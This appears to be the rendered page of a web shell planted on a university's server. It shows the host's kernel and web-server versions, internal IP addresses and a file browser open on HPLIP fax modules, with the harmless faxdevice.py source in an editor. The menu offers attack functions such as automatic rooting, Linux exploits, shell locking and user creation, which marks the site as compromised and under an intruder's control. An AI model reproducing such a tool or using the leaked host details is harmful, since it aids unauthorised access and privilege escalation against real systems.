Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
hplip /
fax /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxrwxr-x
coverpages.py
22.21
KB
-rw-r--r--
faxdevice.py
2.57
KB
-rw-r--r--
fax.py
31.45
KB
-rw-r--r--
__init__.py
806
B
-rw-r--r--
ledmfax.py
34.01
KB
-rw-r--r--
ledmsoapfax.py
3.63
KB
-rw-r--r--
marvellfax.py
36.19
KB
-rw-r--r--
pmlfax.py
42.06
KB
-rw-r--r--
pstotiff
377
B
-rw-r--r--
pstotiff.convs
778
B
-rw-r--r--
pstotiff.types
2.04
KB
-rw-r--r--
soapfax.py
28.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : faxdevice.py
# -*- coding: utf-8 -*- # # (c) Copyright 2015 HP Development Company, L.P. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Author: Don Welch # # Local from base.g import * from prnt import cups from base import device, codes from .soapfax import SOAPFaxDevice from .pmlfax import PMLFaxDevice from .marvellfax import MarvellFaxDevice def FaxDevice(device_uri=None, printer_name=None, callback=None, fax_type=FAX_TYPE_NONE, disable_dbus=False): if fax_type == FAX_TYPE_NONE: if device_uri is None and printer_name is not None: printers = cups.getPrinters() for p in printers: if p.name.lower() == printer_name.lower(): device_uri = p.device_uri break else: raise Error(ERROR_DEVICE_NOT_FOUND) if device_uri is not None: mq = device.queryModelByURI(device_uri) fax_type = mq['fax-type'] log.debug("fax-type=%d" % fax_type) if fax_type in (FAX_TYPE_BLACK_SEND_EARLY_OPEN, FAX_TYPE_BLACK_SEND_LATE_OPEN): return PMLFaxDevice(device_uri, printer_name, callback, fax_type, disable_dbus) elif fax_type == FAX_TYPE_SOAP: return SOAPFaxDevice(device_uri, printer_name, callback, fax_type, disable_dbus) elif fax_type == FAX_TYPE_LEDMSOAP: from .ledmsoapfax import LEDMSOAPFaxDevice return LEDMSOAPFaxDevice(device_uri, printer_name, callback, fax_type, disable_dbus) elif fax_type == FAX_TYPE_MARVELL: return MarvellFaxDevice(device_uri, printer_name, callback, fax_type, disable_dbus) elif fax_type == FAX_TYPE_LEDM: from .ledmfax import LEDMFaxDevice return LEDMFaxDevice(device_uri, printer_name, callback, fax_type, disable_dbus) else: raise Error(ERROR_DEVICE_DOES_NOT_SUPPORT_OPERATION)
Close